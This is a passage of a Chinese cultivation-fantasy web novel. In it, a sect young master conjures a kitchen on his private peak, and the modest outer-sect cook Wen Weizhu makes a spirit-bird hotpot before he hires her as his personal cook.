但他表面还是微笑,趁栗烈有所动摇,开始胡编乱造:“温师妹肯定绞尽脑汁想靠近你,但你们之间身份有着云泥之别,她怕你嫌弃,不敢明目张胆地靠近,所以只敢暗戳戳在你面前刷存在感。”
栗烈若有所思。
于文峥赶紧趁热打铁,“依我看,温师妹想攀附你,你呢,看中她的厨艺,你们两人两情相悦……”
栗烈皱眉。
于文峥顿了一下,一时词穷,“呃……双向奔赴?”
栗烈还是皱眉不满。
于文峥想了半天想不到合适的词,最后灵机一动,道:“啊!你情我愿,你情我愿。”
于文峥不想再想别的词了,也不管栗烈满不满意,赶紧往下说:“反正就是你们目的一致,只要你肯跨出一步,到时候一拍即合,岂不是皆大欢喜。”
栗烈把玩手中的剑,剑鞘开开合合发出规律的声响。
于文峥不明所以,被这敲击声撞得心力交瘁。
等了半天,于文峥以为等到栗烈想明白,结果栗烈想了半天的结果是——
“她都想攀附我了,我为什么还要主动?她都能攀附别人进内门,想攀附我,还不得拿出点诚意来?”
于文峥:“……”
就很无助,谁能治治这个大少爷!
“那你觉得需要什么样的诚意呢?”于文峥虚心问。
关键是温微竹一个杂灵根的外门弟子,能拿出什么诚意能打动一个什么都不缺的少宗主?让于文峥自己想,他都想不出来。
“那是她应该想的。”栗烈理直气壮地说。
于文峥想了又想,温微竹也就厨艺能打动栗烈,于是建议道:“要不,我去跟温师妹说,让她做一份最能体现她厨艺的美食,只要能让你满意,你就会将她收编?”
栗烈:“我是那么好搞定的人吗?”
对!你不但脾气暴事儿精还超级难搞!
要不是为了自己的小命,于文峥早撂挑子不干了。
于文峥在心里吐槽了一通,最后决定换个思路。
“那如果温师妹觉得她和你之间云泥之别,攀附无望,直接放弃了怎么办?”
栗烈噎住了。
因为这太有可能了!
“要不,你直接跟她说,让她当你的私人厨子!你堂堂少宗主,想要一个厨子,有什么问题呢?你之前去食堂找她不也是抱着让她当你厨子的心态去的吗?”
栗烈不说话。
他不想承认,最开始的时候他是抱着让温微竹当他厨子的想法去食堂找她的。
但找了几次都没找到。
这让他很生气!
少宗主找她当私人厨子,这泼天的富贵,她都接不住,人不知道死哪去了!
就只能说这人没有富贵命。
于文峥说要帮他查,他心中愤慨,觉得自己也不是非她不可。
大不了他以后不吃了!
反正他早已辟谷,不吃也行。
就没让于文峥去查。
心里想着,以后最好不要让他碰见她。
当在课堂里第一次看见她的时候,他当时就想,看看,机会已经丢失了,现在又想在我面前刷存在感。
呵呵。
第一次,他想着,让你现在才想来跟我套近乎,我是绝对不会理你的。
结果,温微竹压根没来找他,还下课就跑了!
所以第二天,他给她一个看似近在咫尺的机会,其实让她毫无搭话的余地。
他就是想发泄一下心中的不满。
谁知道,她今天就躲角落里去了。
栗烈一通回想,发现自己好像过于别扭了。
他想要个厨子而已,直接跟对方说,难道对方还能拒绝吗?
于文峥见说服有望,赶紧替栗烈展望美好的未来,道:“早下手早享受,想想温师妹的手艺,若是变成你的专属厨子,还不是你想吃什么就有什么吃的!”
栗烈抿着唇斜乜了于文峥一眼,大发慈悲:“今天就饶了你。”
捡回一条小命的于文峥抹了抹额上不存在的冷汗。
伴君如伴虎,古人诚不我欺。
温微竹在上课的时候,迷迷糊糊眯了一会,半睡半醒间,做了个不太好的梦。
醒来之后,彻底清醒了。
温微竹揉了揉略显僵硬的脸,看了一眼少宗主的方向,见对方抱着臂,目视前方,似乎听课很认真。
少宗主是不是真的很喜欢这节课啊?
因为这节课确实很枯燥,严长老讲课像念经,大部分都弟子上课上着上着都呼呼睡大觉,要不就在开小差。
温微竹看向严长老,错过了开头,也不知道严长老现在说的是什么,无聊听了一会,温微竹决定还是看自己借的这本书。
这本书好歹还有个图文。
不知道过了多久,温微竹看到一种叫树思鸟,头和猫头鹰长得非常像,通体浅黄色,羽毛光泽而有亮度,关键是这鸟圆滚滚、胖乎乎,看起来就很笨。
配的图画得也十分的可爱。
正当温微竹看得入神,一个清越,带着少年人特有脆感的声音传来:“这鸟这么有趣吗?”
“嗯?”温微竹挪了一下左手撑着的头,无意识看向声音的来源。
少宗主那清秀中带着俊朗的容颜映入眼帘,温微竹大脑有一瞬间的空白,嘴巴下意识回答了刚才听入耳中的问题:“也还好,就、看起来很好吃。”
说完,温微竹回过神来,差点咬了自己的舌头。
这是什么回答?
不过这也不能全怪她。
实在是,这书对这鸟的描述……
什么圆滚滚、敦实、质感细腻,脂肪层薄,分布均匀……
看得她直接职业病犯了,想着做个清汤鸟肉火锅味道肯定不错……
温微竹还想找补说点什么,结果少宗主十分给面的没有驳斥温微竹的话,而是来了一句:“我抓一只来,你做一下试试,就知道是不是真的好吃了。”
温微竹:“?”
温微竹张了张嘴,一时无言。
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“跟我来。”少宗主说着,转身离开。
温微竹懵了一下,一旁的于文峥提醒温微竹:“跟上。”
温微竹拿起书,起身,跟在少宗主的身后。
此时课堂里基本没什么人,只有三三两两还没睡醒的几个弟子坐在位置上发呆,但看见温微竹跟在少宗主后面,还是多看了几眼。
走出中堂,少宗主刚举剑,于文峥急忙拉住少宗主的手,道:“你要去哪里?直接用传送阵,温师妹肯定不会御剑。”
少宗主看了温微竹一眼,温微竹眨巴眼睛,表示认同。
“啧”的一声,少宗主不耐地看向于文峥道:“你带她去灵深峰顶。”
“你不去……吗……”于文峥话没说完,少宗主已经御剑飞走了。
徒留于文峥与温微竹面面相觑。
“我先带你过去吧。”于文峥说着,开始画阵。
温微竹安静地站在一旁,问:“灵深峰是哪里?”
于文峥一边画阵一边回答:“少宗主的私人山峰。”
说着,他还抬头,朝温微竹神秘一笑,“可不是什么人都能去少宗主的私人领地的哦。”
温微竹此时应该表现出受宠若惊来,但她实在是做不出来。
因此她只是淡淡地哦了一声。
阵法很快就完工,于文峥将手中棍子一扔,让温微竹与他一起站在阵法里。
嗖的一下,两人一同出现在灵深峰顶。
虽说是私人山峰,但一眼望去,更像是野山峰。
站在一堆乱草之中的温微竹甚至产生了再次回到了第一次到云萃峰的错觉。
少宗主不会是想让她来给他收拾院子吧?
温微竹刚想抬脚活动,就被于文峥阻止:“等一下,这里的每一颗草都非常的珍贵,所以,你最好一片叶子都不要动它们。”
温微竹浑身僵硬。
这跟杂草一样的植物……很珍贵?
她忍不住回想了一下被她薅秃的云萃峰院子,那些杂草不会也是很珍惜的植物吧?
不会吧……
可转念一想,云萃峰都穷得只剩灰了,那些草要真的很珍贵,早被王管事父子拔光了。这么一想,温微竹才稍微松口气。
不然,一想到自己有可能丢了无数灵石,她就心痛得难以呼吸。
温微竹在原地呆立了半天,终于忍不住问:“这个院子没人打理吗?”
但凡有个杂役弟子打理这些灵草,也不至于长成这乱糟糟的一团。
“乱是乱了点,不过能活下来的都是生命力顽强的。”于文峥一边帮温微竹找路,一边跟她解释。
“少宗主喜欢收集各种珍禽异兽和奇花异草。但他自己既不会也不愿意照料,就将这些东西往这座山上一扔,随它们自生自灭。”
温微竹小心翼翼跟在于文峥身后,问:“那少宗主可以找其他弟子帮他照料啊,或者宗门有专门养殖灵兽和灵植的山峰,把这些带去给他们养也行。”
“那不一样。”于文峥不知道该如何跟温微竹解释少宗主那点想私藏的小心思,想了想,只得道:“他觉得这是他的私人领地,只要是这里面的东西,就都是他的东西,哪怕他不养,但只要在这里,这就是他的……”
于文峥也不知道温微竹能不能理解男人奇怪的独占欲与领地意识。
他回头看了一眼温微竹,发现温微竹只点了点头,应和的回了一声:“哦。”
于是他也不再解释,将温微竹带离了乱丛丛的灵植园。
9. 少宗主真厉害
站在院门口,温微竹与于文峥两人望着前方陷入了诡异的沉默。
再这样沉寂下去,两人都快成两颗风化的石头了。
于文峥低咳一声,率先打破尴尬的氛围,自我介绍道:“温师妹,你可能还不认识我,我叫于文峥,是永阳峰的弟子。”
温微竹看向于文峥,脸上带着微笑问:“师兄认识我?”
她与少宗主只在食堂的时候说过话,那个时候食堂有人喊过她的名字,如果那个时候于文峥也在食堂的话,知道她的名字情有可原。
但还有一个可能,就是少宗主与于文峥他们已经查过她的资料了。
那么他们会知道云萃峰的事情吗?他们对云萃峰会是什么态度?
“那天我也在食堂。事实上,你没来内门前,我和少宗主就听说过你的名字,少宗主可是第一次吃你做的饭,就对你印象深刻呢。”于文峥嘴上随口侃着,心里下定决心,势必将温师妹焊在栗烈的身边,好让他不再一个人受那个事儿精的气。
温微竹震惊地看向于文峥,于文峥还怕温微竹不信,接着补充:“真的,少宗主每个月都给厨房奖励,还特地跟厨房管事表扬你,说你做菜不错,一定要好生对待。”
温微竹愣了一下。
这些事她都不知道。
怪不得厨房管事说少宗主是整个宗门最好的人呢。
给他贪墨空间的人,可不是好人么。
于文峥还在继续说:“只是我们都没想到掌勺竟然是个这么柔弱的女孩子,少宗主第一次见你时,应该比我更吃惊吧。”
温微竹不好意思笑笑,“说什么女孩子,我应该比你们还年长几岁。”
“那我应该叫你师姐……”
温微竹赶紧摆手,“不敢不敢,师兄还是像刚才那样叫吧。”
两人正聊着,一阵凄厉的叫声传来,打断了两人的谈话。
少宗主抓着一个庞然大物御剑来到两人面前。
“树思鸟,我抓来了。”栗烈收起剑,将手中重达十多斤的大鸟朝温微竹的方向递了递。
温微竹愣了一下,伸手去接。
对方抓住树思鸟的两个爪子,温微竹只得去抓树思鸟的翅膀。
但奈何树思鸟的翅膀又大又有力,栗烈甫一放手,树思鸟差点从温微竹手中逃脱。
温微竹赶紧将树思鸟紧紧抱在怀里。
浅黄色光滑的羽毛与书中描写完全一致,脸也确实长得像猫头鹰,就是图文中那胖乎乎圆滚滚的样子不太符合实际。
“它是不是有点瘦?”温微竹捏了捏树思鸟翅膀下的肉,比鸡要厚实,但和书中描述还是差了不少。
“我抓来丢后山几个月了,可能没东西吃饿的。之前抓了好几只,最后都饿死了,这只要是再过几个月,估计也得饿死。”栗烈收剑回答。
温微竹:“……”
所以明知道抓来丢后山会饿死,为什么还往后山丢?喂喂食也好啊。
“书上说树思鸟只吃星苔树上特产的树虫,后山有那种树吗?”温微竹试探着问。
栗烈:“没有,我不喜欢那种树,像是虫子堆积起来的一样,很恶心。”
温微竹差点气笑了,后山都没星苔树,那把树思鸟抓回来干什么?虐待它吗?
温微竹只得说:“那下次要是还抓到树思鸟,抓回来就吃了吧,饿瘦了,肉估计就没那么好吃了。”
温微竹很快进入了自己的角色,抱着怀里还在努力挣扎的树思鸟问:“厨房在哪里?”
栗烈、于文峥:“……”
温微竹还等着那两人带路,结果两人站在原地不动。
“没有厨房。”栗烈回答。
三人面面相觑,三脸迷茫。
“那……我们要在哪里做呢?”最终,温微竹打破死静问。
栗烈看了一下院子,指了指偏西的一间房子,道:“就那间吧,把它改造一下。”
“现、现在吗?”温微竹顺着栗烈指的方向,那房间看起来就像是普通的卧房,做厨房起码得有灶台水池烟囱这些,实在不行,像她在云萃峰一样,简单弄了个露天的也行。
“没问题。”栗烈说做就做,从温微竹手中拿回树思鸟,丢在一旁用结界困住,道:“你跟于文峥说要买些什么用具,让他去买,剩下的,我来改造。”
一旁的于文峥就很无辜,大好时光的他不去修炼,不去上课,去买厨具?这都什么事!
很快,温微竹就交代了于文峥要买的厨房用具,说完,她又回头问栗烈:“少宗主,树思鸟拿来做汤可以吗?我看书上说树思鸟一般都呆在树上不爱动,肉应该会很嫩,估计煮个一刻钟就能又嫩又滑。”
“可以。”栗烈点头。
温微竹得到了允许,就又转头跟于文峥吩咐买一些调料和配料。
栗烈在一旁补充,“把所有调料用具都买齐,以后厨房要经常用。”
温微竹回头看了栗烈一眼,又跟于文峥补充了一些日常必备的调料。
于文峥拿着满满的清单离开了灵深峰。
温微竹跟着栗烈来到了最西边被临时指派成了厨房的房间。
栗烈推开房门,一阵灰尘扬起,温微竹刚想着这得打扫半天,栗烈捏了个净尘诀,房间霎时变得一干二净。
温微竹:“……”
会术法就是了不起。
走进房间,房间很宽敞,里面空荡荡的,只有一张没铺的床,和一个空空如也的木架子。
这是闲置屋子无疑了。
“你说吧,要怎么改?”栗烈站在房间里问。
“床先挪走吧,这个木架子可以先留着放东西。”温微竹说着,想和栗烈一起去搬床,结果栗烈手一挥,床不见了。
温微竹:“……”屏气。
会术法确实了不起。
“我们得造个灶台。”温微竹在面阳的窗边比划了一下,“大概这么大……”
“你跟我具体描述一下长什么样?”栗烈问。
考虑到只吃过饭没进过厨房十指不沾阳春水的少宗主,温微竹将灶台的构造仔仔细细,无一疏漏地告诉了栗烈。
栗烈偶尔不明白的地方,还会询问一下。
了解了灶台的原理与构造,栗烈掐了个诀,默念了几声咒语,一个灶台凭空出现在了温微竹比划的位置。
温微竹还想着找什么搭板面,结果被凭空出现的灶台镇住了。
温微竹摸了摸,实心的,而且捏不坏。
“你凭空变出来的?”温微竹有些难以置信地看向栗烈。
栗烈不解,但还是点点头,补充解释:“也不算凭空,用刚才那张床变的。”
“床?”温微竹摸了摸坚硬的台面,“那这个是木制的吗?灶台有火,不能用木头。”
“这个灶台是石板做的,不是木头做的。”栗烈
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很是不解,“你没修炼过吗?元素之间可以相互转化,这么基础的知识不知道吗?”
“这……”温微竹都不知道该怎么和这些天才解释杂灵根的人只能勉强感应到灵气,连自己体内的灵气属于哪个元素都不知道,更别说不同元素之间转化。
她就不该如此大惊小怪。
温微竹指了指房顶,赶紧转移话题:“房顶需要做一个烟囱,做饭会有烟,需要一个通道将烟排出去。”
按照温微竹的描述,很快一个卧房就被改造成了完完全全的厨房。
看着各种无中生有,温微竹忍不住问:“既然什么都能变,还需要去买吗?”
“废灵力。”栗烈简单回答。
也是,像温微竹这样的,别说这么大的灶台,就是一粒灰尘,她也变不了。
一切准备妥当,温微竹打算去捡点柴来烧水烫树思鸟。
栗烈不解地问:“为什么不用聚火阵?”
温微竹想起无息仙尊身下那个需要灵石的阵法,顺口回答:“废灵石。”
栗烈:“不需要灵石。”
只见栗烈在虚空中画了几下,一个中心冒着火焰的阵法在空中成型,栗烈轻轻一推,那阵法平平稳稳地落入了灶肚中。
温微竹风中凌乱:我是一个没见识的乡下人。
但她适应很快,她凑到那个阵法前,观察阵法中央的火焰,“这个可以控制火势吗?”
栗烈:“可以,念不同的咒语就行了。”
温微竹看着在栗烈咒语的控制下,时大时小的火焰,对这个世界陷入了深深的怀疑之中。
所以,她之前,是真的在修仙界混了这么多年吗?
“我可以控制吗?”温微竹看向栗烈,她也不能一直指望少宗主来给她控制火候。
“念咒语就行。你跟我念。”
栗烈教了温微竹一遍,温微竹记得很快,但她念完之后,火焰没有半点效果。
“为什么没反应?”
温微竹疑惑地看向栗烈,栗烈疑惑地看向她,不过栗烈很快想到了一种可能,“你念的时候要调动体内的灵力。”
“……”温微竹抬眸看向少宗主:“我不行。”
考虑到温微竹以前是外门弟子,平时又要在厨房工作,肯定是练习得太少了。
栗烈安慰温微竹:“多练就好了。”
温微竹无言。
要怎么和天才们解释,杂灵根的弟子,哪怕是多练,也控制不了灵力?
温微竹:“要不,我还是用柴吧。”
阵法太高级,用不了,用不了。
等于文峥买完一大堆东西回来的时候,就看到平时高高在上,哪怕灵石撒了一地都不会屈尊降贵捡一下的人,竟然坐在一个小板凳上,一边看着灶台上烧着的开水,一边认真听温微竹的指令。
就很不理解。
这美食就这么有吸引力吗?
“少宗主,你帮我抓一下树思鸟的爪子,你吃动物血吗?”温微竹一边忙活一边问。
栗烈伸手抓住树思鸟的爪子,回答:“干净的吃。”
温微竹拔掉了树思鸟脖子上的几根毛,看了一眼栗烈,示意栗烈把树思鸟的爪子抬高一点。
她本来想用栗烈的剑先凑合着当刀用的,看见于文峥回来了,温微竹便朝于文峥招手,伸手朝他要刀:“刀买回来了吗?给我一下,我先给树思鸟放个血。”
10. 与少宗主一起吃饭
于文峥将储物袋里买的所有厨房用具都掏出,堆满了房间里原本摆床的位置。
他从一堆用具里将一套刀具拎出来,递给温微竹:“你选一把。”
温微竹一看,菜刀、切片刀、斩骨刀、甚至剔骨刀、磨刀棒都有,配套还有一把水果刀与剪刀。
这是不是太专业了点。
打算开个饭店吗?
温微竹挑出菜刀,又选了个中号的盆,洗洗,装点干净水,撒点盐。
另外两个人就在一旁看着,问:“你弄这一盆水干什么?”
“装血,过会下火锅吃。”温微竹说着,就动作利落的将树思鸟解决掉了。
简单处理一下树思鸟,温微竹抬头问少宗主:“内脏你吃吗?”
栗烈摇了摇头,温微竹点点头,表示知道了。
“好了,接下来我来弄就行了,你们想干什么就去干什么,等做好了,我叫你们。”温微竹说着,自己忙去了。
于文峥恨不得立马离开,他活了二十来年,想都没想过,自己还有进厨房的一天呢。
明明自己早早就可以辟谷了!
栗烈在门口站了一会,问:“火还需要我吗?”
“啊!不用。”温微竹戴了双手套,系上了围裙,正在处理被烫过的树思鸟,“就这个火候就行了,等吃的时候,你再调就好了。”
等栗烈出来的时候,于文峥蹲在门口怀疑人生。
“你是少宗主吗?”见栗烈走过来,于文峥站起来,围着栗烈转圈,“你不会是被人夺舍了吧。”
栗烈不说话,似乎在深思什么。
于文峥伸手在栗烈眼前晃,“想什么呢?这么出神?”
“我在想后山还有什么东西是快死了的,赶紧抓来吃了,不然也是便宜了别的禽兽。”栗烈说。
“东西真有这么好吃吗?”于文峥不理解,他对吃的感觉一般般,吃也行,不吃也行。
食堂换了掌勺之后,他也吃过,吃不出区别来。
也许栗烈的舌头对味觉的感知比其他人更敏锐,所以才会那么执着于温微竹做的菜。
于文峥发出会心一问:“你觉得温师妹她自己能尝出来自己做的与其他人的差别来吗?”
“她自己做的,她肯定能尝出来。”栗烈理所当然道。
于文峥:“可是我们在食堂看见她的那天,她在吃饭啊!”
栗烈神色一顿,回想一下,好像的确如此。
两个能辟谷之人,不明白就算能尝出食品细微差别的普通人,也不会因为这个东西没那么好吃就不吃。
因为他们这些修士不吃东西不会饿不会死,但普通人不吃饭会饿,甚至会饿死。
“所以,温师妹其实尝不出她做的菜与其他人做的菜都区别吧?”于文峥说。
这次栗烈不回答了。
等了大约一刻钟,厨房传来温微竹的声音:“我这边准备好了,你们打算在哪里吃?”
“你去跟她说,来这边。”栗烈说着,就朝主厅走去。
于文峥转身回厨房,替温微竹将东西都搬到主厅去。
栗烈已经找好位置坐好。
温微竹一边架锅,一边跟他们解释:“这个是一个火锅,但跟寻常的火锅不太一样。肉我刚放进去了,火继续烧着,等东西准备差不多了,就可以开吃。”
将锅和碗筷都摆好,温微竹又去厨房拿调料,回来的路上看见院子里有一棵长着小果子的树。
她记得在《灵物万千详解》里看到过,那树叫朱栾树,果实小且酸,但有一股特别的柑橘香味。
“少宗主,刚才在院子里看到朱栾,我可以摘一点来当调料吗?”温微竹一边调手中的蘸料一边问。
“你认识?”栗烈脱口而出,随后想起对方最近一直在看他编的那本《灵物万千详解》,看来她不是在做戏,而是真的有认真在看。
“啊!之前不认识,但这两天刚看到了。书上说它很酸,但是有一股特别的柑橘香,所以我想摘来试试,看能不能做调料。”
栗烈本来还想说那东西很酸,几乎难以入口。
听温微竹这么一说,便不再说什么,让她随便摘。
温微竹出去摘了一个,洗了之后,切开自己先尝了一下。
酸得她差点没睁开眼睛,而且皮还有点苦。
栗烈忍住没笑,道:“书上都说了特别酸,你还试。”
一阵龇牙咧嘴的酸劲过去之后,唇齿之间留下淡淡的柑橘香,非常清爽。
《灵物万千详解》的作者肯定是亲自尝过,描述得丁点没错。
栗烈以为温微竹要放弃用这个朱栾做调料,结果温微竹盯着切开的朱栾想来一会,剥掉皮,又试着吃了一口。
不出意外,温微竹再次被酸得打哆嗦。
“温师妹,你还真是不酸掉打牙不死心。”于文峥在一旁没忍住笑,“你怎么跟少宗主一样一样的,什么奇怪的东西都想试……”
栗烈横了于文峥一眼,让他顺速闭嘴。
酸劲过去的温微竹却眼睛一亮,重新去摘了几个洗干净,切成两半,将朱栾汁挤进小碗里,随后与其他的料汁搅拌,再用筷子沾一点尝一下。
被温微竹这一系列的操作吸引其他两人也期待地看着她,问:“怎么样?”
温微竹咂巴了几下,眼眸一亮,点点头道:“味道不错,我给你们调汁试试。”
说完,温微竹给两人一人一个小碟,调了一小碟料汁。
桌上的热锅传来一阵阵的肉香,温微竹拿了双干净筷子,夹起一块肉,剔掉胸骨,放在少宗主的调汁碟里,催道:“少宗主,沾点料汁,快尝尝。树思鸟肉我之前尝过了,确实滑嫩爽口,再配上这个料汁,口感必定更升一个层次!”
栗烈接过温微竹递过来的筷子,夹起温微竹放在他碟子里的鸟肉,放入口中。
酸甜的口感,肉质鲜嫩爽口,一口下去,唇齿还留有柑橘的清香,这简直就是美味!
栗烈嘴上没有说,但他的表情告诉其他两人,味道非常不错。
于文峥被两人感染,也忍不住有样学样,拿双筷子,夹了快鸟肉,在碟子里站了沾料汁,然后送入口中。
鲜嫩爽滑,在配上酸甜调味,实在是好吃,吃完
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之后,唇齿之间还有淡淡的柑橘香,确实非同一般的食物可以比拟。
“温师妹,你也太棒了吧。以前我吃不出食物的太大区别,这下,我可是真的尝出来了!”于文峥很快就吃掉了一块,又伸筷子夹了下一块。
温微竹端碗替两人各自盛了一碗汤,“食材好是关键,树思鸟是有灵气的鸟,肉质比普通的鸡肉要好很多,再加上刚好碰上有朱栾,口感就更好一些。”
将汤放在两人身前,温微竹又递给他们一个羹勺,“尝尝这个汤,清甜鲜嫩,也很好喝。”
栗烈默不作声地端起汤碗尝了一口汤,清香的味道,这汤不止美味,还灵气十足。
树思鸟长得虽傻,但好歹是三级灵物,吃了这锅汤,身体灵力得涨不少。
栗烈今天建造厨房耗费不少灵力,吃了这个正好补上。
温微竹见两人喝得正好,便放下汤勺,道:“这里面的汤可以先喝,等肉和汤吃完了,可以再添点水,煮点青菜,去去腻。”
于文峥连连点头,“真好,真好。我确实没吃过这么好吃的东西。”
温微竹将洗好的青菜在一旁放好,便道:“那两位师兄先吃,我去收拾一下厨房。”
栗烈与于文峥喝汤的动作皆是一顿。
于文峥率先开口道:“你坐下一起吃啊。”
温微竹尴尬了一下,摆摆手道:“不用了,我先去收拾一下厨房,等你们吃完了,东西放在这里就行,我过会来收。”
“当”的一声,汤碗重重落在桌子上的声音传来。
栗烈神色冷峻开口:“坐下。”
栗烈的长相介于少年的清秀与青年的俊朗之间,不动声色的时候看着温和好相处,但脾气暴躁的时候,有一股与生俱来的威严,让人忍不住屈服。
温微竹不知道自己哪里做错了。
但栗烈让她坐下,她立马恭恭顺顺地在一旁坐下。
于文峥见温微竹垂着手,低着头,一副被吓到的模样,连忙调停:“栗烈,你别这样,吓到温师妹了。”
栗烈被噎了一下,他经常凶别人,不分男女。
他以前从来没觉得有的人被凶会被吓到,眼下他是亲眼见证了温微竹的胆子多么小。
他尽量让自己的声音听起来没那么凶:“先别去厨房,坐这儿,给我剔骨,肉有骨头,我不吃。”
于文峥竖起耳朵。
他刚刚听见了什么?
虽然栗烈的确是个事儿精,但在吃的方面,除了对味道挑剔,其他方面还好。
瞧瞧,他现在听到了什么?
他不吃有骨头的肉?
他怎么不说他吃饭要喂呢?
温微竹坐着,拿一把小刀与一双新筷子,开始给栗烈剔骨头。
于文峥主动拿个新碗盛了一碗汤,递到温微竹的面前,道:“温师妹,为了做这一顿这么辛苦,吃一点。”
温微竹看一下于文峥,又看一眼少宗主。
少宗主夹过她碟子里剔下来的肉,瞟了她一眼,道:“喝吧,你自己做的,你得吃了才知道做得好不好,下次是不是还可以改进。”
11. 少宗主是大好人
三人慢悠悠地吃了一顿火锅,温微竹一边吃,一边跟其他两人探讨味道是否还有什么地方可以改进。
当然,大部分时间温微竹都在给栗烈剔骨头和给锅里下菜。
桌子上的东西吃得没有一丁点剩的,栗烈与于文峥坐在座位上不怎么想动。
温微竹站起身收拾桌子。
于文峥招手道:“温师妹,别弄了,休息会。”
温微竹微笑一声,“没什么,一下就收拾完了,你们坐在这里,桌子一片狼藉也不好看。”
于文峥便不说话,看着温微竹收拾东西,感慨道:“温师妹可真是贤妻良母,谁要是娶了你,可真是享福咯。”
温微竹笑笑不说话,将桌子上的东西收拾完,拿着锅碗去了厨房。
“我觉得我吃撑了。”温微竹离开后,于文峥对栗烈道。
栗烈看着他不说话。
“别看,我不信你没吃撑。吃的一点没比我少!”于文峥不屑地吐槽。
栗烈看都不看他,视线看向屋外的灵植园。
于文峥也看过去,想起温微竹刚来的时候,被园子里的杂乱程度震惊,便说:“你确定不找个杂役弟子来整理整理这个园子?温师妹刚来的时候都被震惊了,以温师妹那勤劳持家的样子,估计是没想过有人的园子能乱成这样子吧。”
栗烈立马看向于文峥,问:“她说什么了?”
“温师妹谨言慎行的,她能说什么,她就问了一句,有没有人打理。”想到这会还在厨房忙活的温微竹,于文峥自己吃饱了就懒得动,推己及人,便又跟栗烈建议:“你干脆再找个杂役弟子来呗。”
“我不喜欢别人进入这里。”
栗烈垂着眼眸,他其实也想找几个能帮他养灵兽,照料灵植的,这样他辛苦收集回来的灵兽灵植也不至于三天两头死。
但找来找去也不是那么合心意。
而且那些人只知道一些普通的灵兽和灵植的养护方式,他收集的都是一些稀有少见的,那些人甚至连认都不认识,更别说会养。
可他自己又懒得养。
所以他的院子就一直荒在这里。
后山的灵兽能不能活全靠自己,园子里的灵植有没有水全靠天气。
于文峥靠在凳子上,说:“你不喜欢别人进入这里,温师妹倒是爽快地带她来了。你也不想想,温师妹又是做菜又是收拾厨房的,多累啊,她是掌勺,什么前期处理食物,后期收拾碗筷,这些得是其他人做吧。不能她来当你专属厨子了,过得比在外门厨房还累啊。”
栗烈完全没有想到这些,他起身,走去厨房。
他站在厨房门口,看见温微竹正在洗碗,她看起来沉默寡言,脸上也毫无怨色。
不知道为什么,栗烈忽然第一次体会到了普通人生活的艰辛。
他走过去,在她身后说:“放下吧。”
温微竹听见声音愕然抬头,不知道少宗主为什么会突然来厨房。
“什么?”她刚才在认真洗碗,没听到少宗主说的话。
栗烈重复了一遍:“我说你把碗放下,不用你洗。”
温微竹不明所以地放下手中的碗,不知道少宗主在想什么,难道是忽然不想让她给他做菜了?刚才的东西不好吃吗?
栗烈手一挥,一个净尘诀下去,碗碟全部都变得干干净净。
“这些碟子要放哪?”解决掉那些碗碟,栗烈问。
温微竹望着眼前一瞬间干净无尘的碗碟,脸上的肌肉僵硬地抽了两下。
这些碗碟要她收拾完,起码得小半个时辰,被栗烈这么手一挥,一下完事。
有修为确实可以为所欲为。
见温微竹没有回答他的话,栗烈又问了一遍:“这些东西要放在哪里?”
温微竹回过神来,指了指一旁的空柜子。
“放这里吧,立着放,可以沥干水分。”
栗烈一一照做,三两下,厨房就收拾得整洁如新。
结束后,栗烈又问:“还有什么要做的吗?”
温微竹摇摇头,自己洗了洗手,道:“这样就可以了。”
栗烈道:“那我们谈一谈接下来的事,你以后就过来帮我做饭,别的地方可以不用再去,我回头跟王管事说一声。”
温微竹惊诧地看向少宗主,她琢磨不出少宗主这话是什么意思,单纯想让她来他这边做事,还是说知道她现在的情况。
温微竹的迟疑与为难被栗烈看在眼里,栗烈不满,语气不太好道:“为什么为难?是怕我这边待遇不好吗?不用担心,月钱你可以正常领,我这边会额外再给你一份。你要是怕工作太累的话,一天你只用做一顿就行了。其他的杂活我也尽量不让你做。还有什么问题吗?”
温微竹惊讶地张了张嘴,这么好的待遇上哪里找。
咬了咬唇,温微竹轻声道:“少宗主,我每日过来做一顿饭,其他时间自由支配可以吗?你也不用去跟王管事说,我原先工作本来事也不多,若是拿钱不做事,我会觉得受之有愧。”
栗烈想想,觉得也行。反正他也只是想吃一顿温微竹做的饭,便点了点头。
“那做饭时间是固定,还是看情况会调整?”温微竹问。
栗烈道:“我在宗门的时候,你就午时过来,我若是不在宗门,会提前跟你说,到时候你可以不用过来。”
想到什么,栗烈问:“你会用传讯符吗?”
温微竹摇摇头。
栗烈想了一下,在一个闲置的储物袋里翻了半天,最后掏出一个传讯螺递给温微竹,“你带着这个,我要是找你,就给你发讯息。”
温微竹乖巧地接过传讯螺,点头:“好的。”
两人面对面站了会,思考着还有什么要说的。
一时间也想不起什么,无言了片刻,温微竹率先开口:“那没什么事,少宗主,我就走先走了。”
栗烈也想不到其他说的,回了声:“好。”
走了两步,温微竹停下来脚步,又踱到少宗主的身前,支吾着开口:“少宗主,我想找你借一个中品灵石。我可以接下来几个月都不用报酬,就当我预支一下薪酬可以吗?我一定会认真做事
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的。”
温微竹言辞恳切真诚,她本不想这样唐突,只是今日与少宗主相处,觉得少宗主虽然偶尔脾气暴躁一点,但还是很好相处的,所以鼓起勇气提出这个要求。
若不是无息仙尊身下那个因为缺失灵力而无法运转的阵法一直那么刺眼,温微竹也不会如此心急,在好不容易搭上的少宗主这条线上如此冒进。
栗烈从储物戒里递给温微竹一个上品灵石,“给,你今天的报酬。”
望着眼前从未见过的闪烁灵石,哪怕温微竹是杂灵根,也能感觉到那充沛的灵力。
温微竹现在知道厨房管事为什么甚至会在她面前说漏嘴夸少宗主是全宗门最好的人了。
因为他确实好到让人忍不住赞叹!
抬头望向眼前之人,眉目疏朗,已经弱冠,眉宇之间却还有一股未经世事磋磨的少年意气。
温微竹摆摆手,弯了弯眉眼,道:“少宗主,我只要一个中品灵石就够了。”
“上品灵石不是更好吗?”栗烈一边给她找中品灵石,一边不解地问。
温微竹接过栗烈递过来的中品灵石,微笑着垂眸:“但我需要这个。”
回到云萃峰,温微竹刚走进院子,竟然破天荒看见灰乌鸦从窝里飞出来,还用翅膀指着主厅的方向朝她嘎嘎叫。
温微竹的第一反应是有人来了。
意识到来人可能是谁后,温微竹先把从灵深峰带回来的篮子藏在拐弯的角落里,然后将刚得的中品灵石放入了灰乌鸦的窝里,与它的蛋放在一起。
“乖,回你窝里呆着。”温微竹摸了摸灰乌鸦的头,然后才走进主厅。
看见坐在屋子正中间的胡司敬与陈青叶,温微竹立马露出惊喜的表情,“青叶,胡师兄,你们来了。”
“啊!微竹,你终于回来了!我们都等你好半天了!你去哪里了?”陈青叶跑过来,亲热地抱住温微竹的胳膊撒娇。
